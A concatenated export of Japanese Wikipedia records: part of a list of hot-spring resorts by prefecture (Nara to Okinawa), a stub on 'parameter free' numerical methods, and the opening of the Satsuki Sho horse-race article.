{{-}}<div>[[ファイル:Kinosaki onsen02 1920.jpg|thumb|left|200x200px|城崎温泉]]</div>
{{-}}<div>[[ファイル:Yumura onsen11s1920.jpg|thumb|left|200x200px|湯村温泉]]</div>
{{-}}<div>[[ファイル:The Gran Resort Princess Arima Kobe02n4272.jpg|thumb|left|200x200px|有馬温泉]]</div>
{{div col end}}
==奈良県==
{{div col|cols=4}}
*[[十津川温泉郷]]
**[[湯泉地温泉|{{ruby|湯泉地|とうせんじ}}温泉]]
**[[十津川温泉|{{ruby|十津川|とつかわ}}温泉]]
**[[上湯温泉]]
*[[洞川温泉|{{ruby|洞川|どろがわ}}温泉]]
*[[天の川温泉|{{ruby|天の川|てんのかわ}}温泉]]
*[[入之波温泉|{{ruby|入之波|しおのは}}温泉]]
*[[小処温泉|{{ruby|小処|こどころ}}温泉]]
*[[上北山温泉]]
*[[吉野温泉]]
*[[西吉野温泉]]
*[[東吉野温泉]]
**やはた温泉
**たかすみ温泉
*[[信貴山温泉]]
*[[奥香落温泉]]
*[[長谷寺温泉]]
*[[野迫川温泉]]
*[[美榛温泉]]
<div>[[ファイル:Totsukawa spa town 2011.JPG|thumb|left|200x200px|十津川温泉]]</div>
{{div col end}}
==和歌山県==
{{div col|cols=4}}
*[[花山温泉]]
*[[南紀白浜温泉]]、[[椿温泉]]
*[[南紀勝浦温泉]]
*[[湯川温泉 (和歌山県)|湯川温泉]]
*[[湯の花温泉 (和歌山県)|湯の花温泉]]
*[[鶴の湯温泉 (和歌山県)|鶴の湯温泉]](俗称・すさみ温泉)
*[[龍神温泉]](三大美人湯)
*熊野本宮温泉郷
**[[湯の峰温泉]]
**[[川湯温泉 (和歌山県)|川湯温泉]]
**[[渡瀬温泉]]
*[[神通温泉]]
*[[奥熊野温泉]]
*[[上小野温泉]]
*[[高野温泉]]
*[[二川温泉]]
*[[加太淡嶋温泉]]
*[[夏山温泉|{{ruby|夏山|なつさ}}温泉]]
*[[月野瀬温泉]]
*[[紀州黒潮温泉]]
{{-}}<div>[[ファイル:Onsen in Nachikatsuura, Japan.jpg|thumb|left|200x200px|南紀勝浦温泉]]</div>
{{-}}<div>[[ファイル:Tuboyu yudono.jpg|thumb|left|200x200px|湯の峰温泉 つぼ湯湯殿]]</div>
{{div col end}}
==鳥取県==
{{div col|cols=4}}
*[[岩井温泉]]
*[[鳥取温泉]]
*[[浜村温泉]]
*[[皆生温泉|{{ruby|皆生|かいけ}}温泉]]
*[[鹿野温泉]]
*[[吉岡温泉]]
*[[大山温泉]]
*[[関金温泉]]
*[[東郷温泉]]
*[[はわい温泉]]
*[[三朝温泉|{{ruby|三朝|みささ}}温泉]]
*[[淀江ゆめ温泉]]
*[[岸本温泉]]
*[[大山伽羅温泉]]
{{-}}<div>[[ファイル:Kaike onsen02n4592.jpg|thumb|left|200x200px|皆生温泉]]</div>
{{-}}<div>[[ファイル:Misasa onsen01bs3200.jpg|thumb|left|200x200px|三朝温泉]]</div>
{{div col end}}
==島根県==
===出雲地方===
{{div col|cols=4}}
*[[玉造温泉]](三名泉)
*[[来待温泉]]
*[[湯の川温泉 (島根県)|湯の川温泉]](三大美人湯)
*[[鷺ノ湯温泉]]
*[[湯抱温泉|{{ruby|湯抱|ゆがかえ}}温泉]]
*[[海潮温泉]]
*[[松江しんじ湖温泉]]
*[[出雲湯村温泉]]
*[[海潮温泉|{{ruby|海潮|うしお}}温泉]]
*[[比田温泉]]
*[[斐乃上温泉]]
*[[広瀬温泉]]
{{div col end}}
===石見地方===
{{div col|cols=4}}
*[[有福温泉]]
*[[美又温泉]]
*[[三瓶温泉]]
*[[旭温泉 (島根県)|旭温泉]]
*[[風の国温泉]]
*[[温泉津温泉|{{ruby|温泉津|ゆのつ}}温泉]]
*[[湯谷温泉 (島根県)|湯谷温泉]]
*[[千原温泉]]
*[[大谷温泉 (島根県)|大谷温泉]]
*[[隠岐温泉]]
{{-}}<div>[[ファイル:Tamatsukuri onsen01st3200.jpg|thumb|left|200x200px|玉造温泉]]</div>
{{-}}<div>[[ファイル:Matsue-shinjiko-onsen01st3200.jpg|thumb|left|200x200px|松江しんじ湖温泉]]</div>
{{div col end}}
==岡山県==
{{div col|cols=4}}
*[[あわくら温泉]]
*[[奥津温泉]]
*[[小森温泉]]
*[[苫田温泉]]
*[[八幡温泉郷|{{ruby|八幡|やはた}}温泉郷]]
*[[湯郷温泉|{{ruby|湯郷|ゆのごう}}温泉]]
*[[湯原温泉]]
*[[湯の瀬温泉 (岡山県)|湯の瀬温泉]]
*[[湯迫温泉]]
*[[国民宿舎サンロード吉備路|吉備路温泉]]
*[[和気鵜飼谷温泉]]
*[[大芦高原温泉]]
*[[作州武蔵温泉]]
*[[倉敷由加温泉]]
*[[鷲羽山吹上温泉]]
{{-}}<div>[[ファイル:Yunogo4221.jpg|thumb|left|200x200px|湯郷温泉]]</div>
{{div col end}}
==広島県==
{{div col|cols=4}}
*[[湯来温泉]]
*[[湯坂温泉郷]]
*[[湯の山温泉 (広島県)|湯の山温泉]]
*[[君田温泉]]
*[[宮浜温泉]]
*[[矢野温泉]]
*[[鞆の浦温泉]]
*[[三段峡温泉]]
*[[きのえ温泉]]
*[[潮原温泉]]
*[[養老温泉 (尾道市)|養老温泉]]
*[[女鹿平温泉]]
<div>[[ファイル:Yuki Onsen (Hiroshima) 01.jpg|thumb|left|200x200px|湯来温泉]]</div>
{{div col end}}
==山口県==
===周防地方===
{{div col|cols=4}}
*[[鶴ヶ浜温泉]]
*[[三丘温泉]]
*[[湯野温泉]]
*[[湯田温泉]]
*[[鳴滝温泉]]
*[[片倉温泉 (山口県)|片倉温泉]]
*[[阿知須温泉]]
*[[雙津峡温泉]]
*[[錦帯橋温泉]]
*[[室積温泉]]
{{div col end}}
===長門地方===
{{div col|cols=4}}
*[[一ノ俣温泉]]
*[[湯谷温泉 (山口県)|湯谷温泉]]
*[[川棚温泉]]
*[[王司温泉]]
*[[大河内温泉]]
*[[菊川温泉]]
*[[下関つくの温泉]]
*[[津波敷温泉]]
*[[西ノ市温泉]]
*[[日乃出温泉]]
*[[吉見温泉]]
*[[吉田温泉]]
*[[江汐湖温泉]]
*[[王喜温泉・糸根温泉]]
*[[くすのき温泉]]
*[[持世寺温泉|{{ruby|持世寺|じせいじ}}温泉]]
*[[黄波戸温泉|{{ruby|黄波戸|きわど}}温泉]]
*[[湯免温泉|{{ruby|湯免|ゆめん}}温泉]]
*[[長門湯本温泉]]
*[[俵山温泉]]
*[[油谷湾温泉]]
*[[阿武川温泉]]
*[[萩本陣温泉]]
*[[千春楽温泉]]
*[[湯ノ口温泉 (山口県)|湯ノ口温泉]]
*[[於福温泉]]
*[[秋穂温泉]]
*[[長門峡温泉]]
*[[日野温泉]]
<div>[[ファイル:Yumoto-ontoh.jpg|thumb|left|200x200px|長門湯本温泉]]</div>
{{div col end}}
==徳島県==
{{div col|cols=4}}
*[[祖谷温泉|{{ruby|祖谷|いや}}温泉]]
*[[新祖谷温泉]]
*[[大歩危温泉|{{ruby|大歩危|おおぼけ}}温泉]]
*[[紅葉温泉|紅葉温泉(もみじ川温泉)]]
*[[鷲敷温泉]]
*[[四季美谷温泉]]
*[[宍喰温泉]]
*[[船瀬温泉]]
*[[神山温泉]]
*[[八万温泉]]
*[[月ヶ谷温泉]]
*[[アオアヲナルトリゾート|鳴門温泉]]
<div>[[ファイル:Iya-onsen-spa.jpg|thumb|left|200x200px|祖谷温泉]]</div>
{{div col end}}
==香川県==
{{div col|cols=4}}
*[[塩江温泉|{{ruby|塩江|しおのえ}}温泉]]
*[[美霞洞温泉|{{ruby|美霞洞|みかど}}温泉]]
*[[こんぴら温泉郷]]
*[[小豆島温泉]]
*[[四国高松温泉]]
*[[庵治温泉]]
*[[花樹海温泉]]
*[[薬師湯温泉]]
*[[美合温泉]]
*[[白峰温泉 ニューサンピア坂出|白峰温泉]]
<div>[[ファイル:Kotohira-kadan13n4410.jpg|thumb|left|200x200px|こんぴら温泉郷]]</div>
{{div col end}}
==愛媛県==
{{div col|cols=4}}
*[[道後温泉郷]]
**[[道後温泉]]
<!--**[[キスケBOX|松山温泉]]-->
**[[奥道後温泉]]
**[[東道後温泉]]
***[[媛彦温泉]]
***[[星乃岡温泉]]
***[[久米之癒]]
***[[東道後のそらともり]]
**[[南道後温泉]]
**[[道後さや温泉]]
**[[権現温泉]]
<!--**[[久万の台温泉]]-->
<!--**[[古川温泉]]-->
**[[見奈良温泉]]
**[[川内温泉]]
**[[とべ温泉]]
*[[鈍川温泉]]
*[[湯ノ浦温泉]]
*[[本谷温泉]]
*[[湯之谷温泉 (愛媛県)|湯之谷温泉]]
*[[別子温泉]]
*[[多々羅温泉]]
*[[小薮温泉]]
*[[亀ヶ池温泉]]
*[[古岩屋温泉]]
*[[宝泉坊温泉]]
{{-}}<div>[[ファイル:Dōgo Onsen.jpg|thumb|left|200x200px|道後温泉]]</div>
{{div col end}}
==高知県==
{{div col|cols=4}}
*[[北川温泉 (高知県)|北川温泉]]
*[[足摺温泉]]
*[[用井温泉]]
*[[べふ峡温泉]]
*[[馬路温泉]]
*[[よさこい温泉]]
*[[松葉川温泉]]
*[[高知三翠園温泉]]
*[[龍河温泉]]
*[[黒潮本陣温泉]]
*[[道の駅木の香|木の香温泉]]
*[[土佐龍温泉]]
*[[桑田山温泉]]
<div>[[ファイル:Tosashimizu Manjiro Footbath 1.JPG|thumb|left|200x200px|足摺温泉]]</div>
{{div col end}}
==福岡県==
{{div col|cols=4}}
*[[博多温泉|{{ruby|博多|はかた}}温泉]]
*[[船小屋温泉|{{ruby|船小屋|ふなごや}}温泉]]
*[[原鶴温泉|{{ruby|原鶴|はらづる}}温泉]]
*[[薬王寺温泉]]
*[[所田温泉]]
*[[吉井温泉 (福岡県)|吉井温泉]]
*[[脇田温泉]]
*[[二日市温泉 (筑紫野市)|{{ruby|二日市|ふつかいち}}温泉]]
*[[筑後川温泉|{{ruby|筑後川|ちくごがわ}}温泉]]
*[[柿下温泉]]
*[[方城温泉|{{ruby|方城|ほうじょう}}温泉]]
*[[源じいの森温泉|{{ruby|源じいの森|げんじいのもり}}温泉]]
*[[日王の湯温泉|{{ruby|日王の湯|ひのうのゆ}}温泉]]
*[[松原温泉]]
*[[玄海さつき温泉]]
*[[求菩提温泉]]
{{-}}<div>[[ファイル:Harazuru Onsen.JPG|thumb|left|200x200px|原鶴温泉]]</div>
{{div col end}}
==佐賀県==
{{div col|cols=4}}
*[[嬉野温泉]]
*[[武雄温泉]]
*[[太良温泉]]
*[[熊の川温泉]]
*[[古湯温泉]]
*[[川上峡温泉]]
*[[小城温泉]]
*[[いろは島温泉]]
*[[唐津温泉]]
*[[とりごえ温泉]]
<div>[[ファイル:Ureshino onsen.jpg|thumb|left|200x200px|嬉野温泉]]</div>
{{div col end}}
==長崎県==
{{div col|cols=4}}
*[[雲仙温泉]]
*[[小浜温泉]]
*[[島原温泉]]
*[[壱岐湯ノ本温泉]]
*[[荒川温泉 (長崎県)|荒川温泉]]
*[[波佐見温泉]]
*[[平戸温泉]]
*[[長崎温泉やすらぎ伊王島|長崎温泉]]
*[[稲佐山温泉]]
*[[琴乃湯]]
*[[世知原温泉]]
{{-}}<div>[[ファイル:Unzen jigoku 02.jpg|thumb|left|200x200px|雲仙温泉]]</div>
{{div col end}}
==熊本県==
{{div col|cols=4}}
*[[阿蘇温泉郷]]
**[[阿蘇内牧温泉|{{ruby|阿蘇内牧|あそうちのまき}}温泉]]
**[[阿蘇赤水温泉]]
**[[地獄温泉]]
**[[垂玉温泉|{{ruby|垂玉|たるたま}}温泉]]
*南小国温泉郷
**[[黒川温泉]]
**[[満願寺温泉]]
**[[田の原温泉]]
*[[杖立温泉]]
*[[奴留湯温泉|{{ruby|奴留湯|ぬるゆ}}温泉]]
*[[わいた温泉郷]]
**[[峐の湯温泉|{{ruby|峐の湯|はげのゆ}}温泉]]
**[[岳の湯温泉]]
**[[鈴ヶ谷温泉]]
**[[地獄谷温泉 (熊本県)|地獄谷温泉]]
**[[麻生釣温泉]]
**[[山川温泉 (熊本県)|山川温泉]]
**[[守護陣温泉]]
*[[山鹿温泉|{{ruby|山鹿|やまが}}温泉]]
*[[熊入温泉]]
*[[玉名温泉]]
*[[菊池温泉]]
*[[三加和温泉]]
*[[平山温泉]]
*[[下田温泉 (熊本県)|下田温泉]]
*[[松島温泉 (熊本県)|松島温泉]]
*[[弓ヶ浜温泉 (熊本県)|弓ヶ浜温泉]]
*[[植木温泉]]
*[[湯の児温泉|{{ruby|湯の児|ゆのこ}}温泉]]
*[[湯の鶴温泉|{{ruby|湯の鶴|ゆのつる}}温泉]]
*[[日奈久温泉|{{ruby|日奈久|ひなぐ}}温泉]]
*[[人吉温泉]]
*[[湯浦温泉]]
*[[計石温泉]]
{{-}}<div>[[ファイル:Kurokawa-onsen.jpg|thumb|left|200x200px|黒川温泉]]</div>
{{div col end}}
==大分県==
===別府市・由布市===
{{div col|cols=4}}
*[[別府温泉]]([[別府温泉#別府八湯|別府八湯]])
**[[別府温泉#別府温泉|別府温泉]]
**[[浜脇温泉]]
**[[観海寺温泉|{{ruby|観海寺|かんかいじ}}温泉]]
**[[堀田温泉|{{ruby|堀田|ほりた}}温泉]]
**[[明礬温泉|{{ruby|明礬|みょうばん}}温泉]]
**[[鉄輪温泉|{{ruby|鉄輪|かんなわ}}温泉]]
**[[柴石温泉|{{ruby|柴石|しばせき}}温泉]]
**[[亀川温泉]]
*[[塚原温泉]]
*[[由布院温泉]]
*[[湯平温泉|{{ruby|湯平|ゆのひら}}温泉]]
{{div col end}}
===大分市===
*[[大深度地熱温泉|{{ruby|大深度地熱|だいしんどちねつ}}温泉]]
{{div col end}}
===日田市===
{{div col|cols=4}}
*[[天ヶ瀬温泉]]
*[[湯ノ釣温泉|{{ruby|湯ノ釣|ゆのつる}}温泉]]
*[[日田温泉|{{ruby|日田|ひた}}温泉]]
{{div col end}}
===竹田市===
{{div col|cols=4}}
*[[長湯温泉]]
*[[七里田温泉]]
*[[法華院温泉]]
*[[赤川温泉]]
*[[三船温泉]]
*[[久住高原温泉]]
*[[紅殻之湯温泉|{{ruby|紅殻之湯|べんがらのゆ}}温泉]]
*[[満天望温泉]]
*[[荻の里温泉]]
<div>[[ファイル:Beppu Chinoike-jigoku03n3200.jpg|thumb|200x200px|left|別府八湯・柴石温泉<br>血の池地獄(別府地獄めぐり)]]</div>
{{div col end}}
===杵築市===
*[[山香温泉|{{ruby|山香|やまが}}温泉]]
{{div col end}}
===九重町===
{{div col|cols=4}}
*[[九重九湯]]
**[[宝泉寺温泉]]
**[[筋湯温泉]]
**[[川底温泉]]
**[[竜門温泉]]
**[[湯坪温泉]]
**[[壁湯温泉]]
**[[筌の口温泉|{{ruby|筌の口|うけのくち}}温泉]]
**[[長者原温泉|{{ruby|長者原|ちょうじゃばる}}温泉]]
**[[寒の地獄温泉|{{ruby|寒|かん}}の地獄]]
*[[九酔渓温泉|{{ruby|九酔渓|きゅうすいけい}}温泉]]
*[[星生温泉|{{ruby|星生|ほっしょう}}温泉]]
*[[牧の戸温泉]]
*[[馬子草温泉|{{ruby|馬子草|まごそ}}温泉]]
{{div col end}}
===豊後高田市===
{{div col|cols=4}}
*[[くにさき六郷温泉|くにさき{{ruby|六郷|ろくごう}}温泉]]
{{div col end}}
===東国東郡===
{{div col|cols=4}}
*[[拍子水温泉]]
{{div col end}}
==宮崎県==
===北部平野部===
([[延岡市|延岡]]・[[日向市|日向]]・[[門川町|門川]]・[[西都市|西都]]・[[児湯郡]](西米良村を除く))
{{div col|cols=4}}
*[[祝子川温泉|{{ruby|祝子川|ほうりがわ}}温泉]]
*<!-- [[門川温泉]] -->
*[[日向サンパーク温泉]]
*[[木城温泉|{{ruby|木城|きじょう}}温泉]]
*[[新富温泉]]
*[[高鍋温泉]]
*[[高屋温泉]]
*<!-- [[山田温泉 (西都市)|山田温泉]] -->
*[[さいと温泉]]
{{div col end}}
===北部山沿い===
([[西臼杵郡]]・[[東臼杵郡]](門川町を除く)・[[西米良村|西米良]])
{{div col|cols=4}}
*[[高千穂温泉]]
*[[天岩戸温泉]]
*[[日之影温泉駅|日之影温泉]]
*<!-- [[五ヶ瀬温泉]] -->
*[[南郷温泉 (宮崎県)|南郷温泉]]
*[[さいごう温泉]]
*<!--[[西米良温泉|{{ruby|西米良|にしめら}}温泉]]-->
{{div col end}}
===南部平野部===
([[宮崎市|宮崎]]・[[東諸県郡]]・[[日南市|日南]]・[[串間市|串間]])
{{div col|cols=4}}
*[[綾温泉]]
*<!-- [[佐土原温泉]] -->
*<!--[[高岡温泉]]-->
<!--*[[長日川温泉]] -->
*[[清武温泉]]
*[[木花温泉]]
*[[青島温泉]]
*[[宮崎温泉]]
**[[エースランド|宮崎温泉 自然の湯]]([[極楽湯]])
**[[宮崎リゾート温泉|宮崎リゾート温泉 たまゆらの湯]](たまゆら温泉)
*[[北郷温泉]]
*<!-- [[日南温泉]] -->
*[[串間温泉]]
{{-}}<div>[[ファイル:Hourigawa Onsen 01.JPG|thumb|left|200x200px|祝子川温泉]]</div>
{{-}}<div>[[ファイル:Hinokage Onsen Train 01.JPG|thumb|left|200x200px|日之影温泉]]</div>
{{div col end}}
===南部山沿い===
([[都城市|都城]]・[[小林市|小林]]・[[えびの市|えびの]]・[[高原町|高原]]・[[三股町|三股]])
{{div col|cols=4}}
*[[京町温泉]]
*[[えびの高原温泉]]
*[[吉田温泉]]
*[[白鳥温泉]]
*[[湯之元温泉 (宮崎県)|湯之元温泉]]
*[[青井岳温泉]]
*<!--[[都城温泉]]-->
*<!-- [[神の郷温泉]] -->
{{div col end}}
==鹿児島県==
===九州島===
{{div col|cols=4}}
*[[霧島温泉郷]]
**[[湯之谷温泉 (鹿児島県)|湯之谷温泉]]
**[[丸尾温泉]]
**[[栄之尾温泉]]
**[[霧島神宮温泉]]
**[[栗野岳温泉]]
*[[指宿温泉|{{ruby|指宿|いぶすき}}温泉]]
*[[伏目温泉]](山川温泉)
*[[開聞温泉]]
*[[市比野温泉|{{ruby|市比野|いちひの}}温泉]]
*[[入来温泉|{{ruby|入来|いりき}}温泉]]
*[[湯之元温泉]]
*[[新川渓谷温泉郷]]
**[[妙見温泉 (鹿児島県)|妙見温泉]]
**[[日当山温泉|{{ruby|日当山|ひなたやま}}温泉]]
**[[塩浸温泉]]
*[[宮之城温泉]]
*[[湯之尾温泉]]
*[[川内高城温泉|{{ruby|川内高城|せんだいたき}}温泉]]
*[[紫尾温泉|{{ruby|紫尾|しび}}温泉]]
*[[吹上温泉 (鹿児島県)|吹上温泉]]
*[[有村温泉]]
*[[藺牟田温泉|{{ruby|藺牟田|いむた}}温泉]]
*[[海潟温泉|{{ruby|海潟|かいがた}}温泉]]
*[[古里温泉]]
*[[重富温泉]]
*[[鹿児島市街地の温泉]]
*[[松元平野岡体育館#まつもと温泉|まつもと温泉]]
*[[鰻温泉]]
*[[阿久根温泉]]
*[[根占温泉]]
<div>[[ファイル:Ryokukeitouen Kirishima City Kagoshima Pref12s5s4592.jpg|thumb|200x200px|left|緑渓湯苑 栄之尾温泉]]</div>
<div>[[ファイル:Maruo Onsen Kirishima13n3900.jpg|thumb|200x200px|left|丸尾温泉]]</div>
<div>[[ファイル:Sunamushi_in_Ibusuki_Hotsprings_Japan_001.JPG|thumb|200x200px|left|砂むし 指宿温泉]]</div>
{{div col end}}
===屋久島===
{{div col|cols=4}}
*[[尾之間温泉|{{ruby|尾之間|おのあいだ}}温泉]]
*[[屋久島温泉]]
*[[平内海中温泉]]
{{div col end}}
===硫黄島===
{{div col|cols=4}}
*[[東温泉]]
*[[坂本温泉 (鹿児島県)|坂本温泉]]
{{div col end}}
===口永良部島===
{{div col|cols=4}}
*[[湯向温泉]]
*[[寝待温泉]]
{{div col end}}
===悪石島===
{{div col|cols=4}}
*[[湯泊温泉 (悪石島)|湯泊温泉]]
{{div col end}}
===小宝島===
{{div col|cols=4}}
*[[湯泊温泉 (小宝島)|湯泊温泉]]
{{div col end}}
==沖縄県==
{{div col|cols=4}}
*[[山田温泉 (沖縄県)|山田温泉]]
*[[ちゃたん恵み温泉]]
*[[中乃湯温泉]]
*[[宮古島温泉]]
*[[シギラ温泉]]
*[[西表島温泉]]
*[[カンパネルラの湯]]
*[[琉球温泉]]
<div>[[ファイル:Terme VILLA Chula-U 1.jpg|thumb|left|175x175px|ちゃたん恵み温泉]]</div>
<div>[[ファイル:Iriomote Onsen roten.jpg|thumb|left|175x175px|西表島温泉]]</div>
{{div col end}}
== 脚注 ==
{{脚注ヘルプ}}
=== 注釈 ===
{{Notelist2}}
==関連項目==
{{commonscat|Hot springs of Japan|日本の温泉地}}
*[[にっぽんの温泉100選]]
*[[日本温泉地域学会]]
{{温泉}}
{{DEFAULTSORT:にほんのおんせんちいちらん}}
[[Category:日本の温泉地|**いちらん]]
[[Category:日本の地理一覧|おんせんちいちらん]] | 2003-04-15T13:48:48Z | 2023-12-14T08:31:10Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E6%97%A5%E6%9C%AC%E3%81%AE%E6%B8%A9%E6%B3%89%E5%9C%B0%E4%B8%80%E8%A6%A7 |
6,775 | パラメータフリー | パラメータフリー(Parameter free)とは、数値的な解析手法において、その手法が何らパラメータに依らない場合のこと。 | [
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| パラメータフリーとは、数値的な解析手法において、その手法が何らパラメータに依らない場合のこと。 | {{字引|date=2005年5月14日 (土) 13:41 (UTC)}}
'''パラメータフリー'''(Parameter free)とは、[[数値]]的な[[解析]]手法において、その手法が何ら[[パラメータ]]{{要曖昧さ回避|date=2018年10月5日 (金) 06:38 (UTC)}}に依らない場合のこと。
== 参考文献 ==
* {{Cite journal|和書|author=近藤史孝, 藪下良樹, 渡邊俊彦 |date=2010 |url=https://doi.org/10.14864/fss.26.0.111.0 |title=分散化したパラメータ不要の遺伝的アルゴリズム |journal=日本知能情報ファジィ学会 ファジィ システム シンポジウム 講演論文集 |publisher=日本知能情報ファジィ学会 |volume=26 |pages=111-111 |doi=10.14864/fss.26.0.111.0 |naid=130005035351 |ref=harv}}
== 脚注 ==
{{脚注ヘルプ}}
{{Reflist}}
== 関連項目 ==
* [[遺伝的アルゴリズム]]
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{{DEFAULTSORT:はらめえたあふりい}}
[[Category:解析学]]
[[Category:数学に関する記事]] | null | 2023-02-25T05:51:37Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E3%83%91%E3%83%A9%E3%83%A1%E3%83%BC%E3%82%BF%E3%83%95%E3%83%AA%E3%83%BC |
6,776 | 皐月賞 | 皐月賞()は、日本中央競馬会 (JRA)が中山競馬場で施行する中央競馬の重賞競走(GI)である。「皐」の字が常用漢字外のため、「さつき賞」と表記されることもある。
正賞は内閣総理大臣賞、日本馬主協会連合会会長賞、中山馬主協会賞。
旧八大競走の1つで、中央競馬における3歳クラシックの第1戦として行われ、最もスピードのある優秀な繁殖馬を選定するためのチャンピオンレースとされている。このため、出走資格は4歳(現3歳)の牡馬と牝馬に限られ、せん馬(去勢された馬)は出走できない。また、本競走で5着以内の成績を収めた馬には東京優駿(日本ダービー)の優先出走権が与えられる。1990年までは5着以内の馬に優先出走権を付与していたが、1991年より4着までに改められ、さらに2018年からは再び5着以内の馬に優先出走権が与えられるようになった。
1939年に当時の日本競馬会がイギリスの2000ギニーに範をとり、4歳 (現3歳)牡馬・牝馬限定の競走「横浜農林省賞典四歳呼馬(よこはまのうりんしょうしょうてんよんさいよびうま)」を創設。第1回は横浜競馬場の芝1850メートルで施行された。東京優駿競走・阪神優駿牝馬 (現:優駿牝馬)・京都農林省賞典四歳呼馬 (現:菊花賞)・中山四歳牝馬特別 (現:桜花賞)とともに「五大特殊競走」として位置づけられ、東京優駿競走・京都農林省賞典四歳呼馬とともに日本のクラシック三冠競走を確立した。
1943年からは横浜競馬場の閉鎖に伴い東京競馬場の芝1800メートルで施行、1944年は太平洋戦争の影響により「農商省賞典四歳(のうしょうしょうしょうてんよんさい)」の名称で能力検定競走として施行したが、1945年は中止された。
終戦後の1947年から名称を「農林省賞典(のうりんしょうしょうてん)」に変更。1949年から施行場を中山競馬場の芝1950メートルに変更し名称を「皐月賞」に変更、翌1950年から再び施行距離を芝2000メートル(≒ 1 1/4 miles)に戻し、現在に至っている。
1995年からは指定交流競走とされ、所定の条件を満たした地方競馬所属馬も出走できるようになり、2002年からは外国産馬も出走可能となった。2010年からは外国馬も出走可能な国際競走となった。
東京優駿(日本ダービー)は「最も運のある馬が勝つ」、菊花賞は「最も強い馬が勝つ」と称されるのに対し、皐月賞は「最も速い馬が勝つ」と言われる。
世界の競馬開催国は国際セリ名簿基準書におけるパートIからパートIVまでランク分けされており、2014年時点で日本は平地競走が最上位のパートI、障害競走はパートIVにランク付けされている。
また、各国の主要な競走は国際的な統一判断基準で評価されており、競馬の競走における距離別の区分法として定着しているSMILE区分によると、皐月賞は「Intermediate (1900m - 2100m)」に分類される。国際競馬統括機関連盟 (IFHA)が公表した年間レースレーティングに基づく「世界のトップ100GIレース」によると、皐月賞は全体の81位(2015年), 36位(2019年), 60位(2020年), 44位(2021年), 15位(2022年)にランキングされた。最新版では12つの日本の競争がランクインしているが、皐月賞の15位は日本の競争の中で最も高い評価であり、「Intermediate (1900m - 2100m)」のカテゴリーからランクインした外国の競走との比較ではドバイワールドカップと同順位、プリンスオブウェールズステークス(13位)に次ぐ評価となっている。
以下の内容は、2023年現在のもの。
出走資格: サラ系3歳牡馬・牝馬(出走可能頭数:最大18頭)
出馬投票を行った馬のうち優先出走権のある馬から優先して割り当て、その他の馬は収得賞金の総計が多い順に出走できる。同一順位の馬が多数ある場合には抽選で出走馬を決定する。
出馬投票を行った外国馬は、優先出走できる。
JRA所属馬と地方競馬所属馬は、下表のトライアル競走で所定の成績を収めた馬に優先出走権が与えられる。ただし、未出走馬・未勝利馬はトライアル競走で収得賞金を得る(弥生賞ディープインパクト記念・スプリングステークスは2着以内、若葉ステークスは1着)ことで優先出走権が与えられる。
地方競馬所属馬は上記のトライアル競走で優先出走権を得た馬のほか、JRAの2歳GI競走優勝馬、およびJRAで行われる芝の3歳重賞競走優勝馬にも出走資格が与えられる。
2023年の1着賞金は2億円で、以下2着8000万円、3着5000万円、4着3000万円、5着2000万円。
コース種別の記載がない距離は、芝コースを表す。優勝馬の馬齢は、2000年以前も現行表記に揃えている。
競走名は第5回まで「横浜農林省賞典四歳呼馬」、第6回は「農商省賞典四歳 (能力検定競走として施行)」、第7回・第8回は「農林省賞典」。 | [
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"text": "終戦後の1947年から名称を「農林省賞典(のうりんしょうしょうてん)」に変更。1949年から施行場を中山競馬場の芝1950メートルに変更し名称を「皐月賞」に変更、翌1950年から再び施行距離を芝2000メートル(≒ 1 1/4 miles)に戻し、現在に至っている。",
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"text": "また、各国の主要な競走は国際的な統一判断基準で評価されており、競馬の競走における距離別の区分法として定着しているSMILE区分によると、皐月賞は「Intermediate (1900m - 2100m)」に分類される。国際競馬統括機関連盟 (IFHA)が公表した年間レースレーティングに基づく「世界のトップ100GIレース」によると、皐月賞は全体の81位(2015年), 36位(2019年), 60位(2020年), 44位(2021年), 15位(2022年)にランキングされた。最新版では12つの日本の競争がランクインしているが、皐月賞の15位は日本の競争の中で最も高い評価であり、「Intermediate (1900m - 2100m)」のカテゴリーからランクインした外国の競走との比較ではドバイワールドカップと同順位、プリンスオブウェールズステークス(13位)に次ぐ評価となっている。",
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"text": "JRA所属馬と地方競馬所属馬は、下表のトライアル競走で所定の成績を収めた馬に優先出走権が与えられる。ただし、未出走馬・未勝利馬はトライアル競走で収得賞金を得る(弥生賞ディープインパクト記念・スプリングステークスは2着以内、若葉ステークスは1着)ことで優先出走権が与えられる。",
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},
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"text": "地方競馬所属馬は上記のトライアル競走で優先出走権を得た馬のほか、JRAの2歳GI競走優勝馬、およびJRAで行われる芝の3歳重賞競走優勝馬にも出走資格が与えられる。",
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"text": "2023年の1着賞金は2億円で、以下2着8000万円、3着5000万円、4着3000万円、5着2000万円。",
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"text": "コース種別の記載がない距離は、芝コースを表す。優勝馬の馬齢は、2000年以前も現行表記に揃えている。",
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"text": "競走名は第5回まで「横浜農林省賞典四歳呼馬」、第6回は「農商省賞典四歳 (能力検定競走として施行)」、第7回・第8回は「農林省賞典」。",
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]
| 皐月賞は、日本中央競馬会 (JRA)が中山競馬場で施行する中央競馬の重賞競走(GI)である。「皐」の字が常用漢字外のため、「さつき賞」と表記されることもある。 正賞は内閣総理大臣賞、日本馬主協会連合会会長賞、中山馬主協会賞。 | {{Otheruses||地方競馬|皐月賞 (曖昧さ回避)}}
{{競馬の競走
|馬場 = 芝
|競走名 = 皐月賞<br />Satsuki Sho (Japanese Two Thousand Guineas) <ref name="TOP100GI" />
|画像 = [[File:Sol Oriens 20230416b.jpg|280px]]
|画像説明 = 第83回皐月賞<br /> (優勝馬の[[ソールオリエンス]]。鞍上は[[横山武史]])
|開催国 = {{JPN}}
|主催者 = [[日本中央競馬会]]
|競馬場 = [[中山競馬場]]
|第一回施行日 =
|創設 = 1939年4月29日
|年次 = 2023
|距離 = 2000m
|格付け = GI
|1着賞金 = 2億円
|賞金総額 =
|条件 = [[サラブレッド|サラ]]系3歳牡馬・牝馬 (国際) (指定)
|負担重量 = 定量 (牡57kg、牝55kg)
|出典 = <ref name="jusyo_kanto" /><ref name="bangumi_2023nakayama3" />
}}
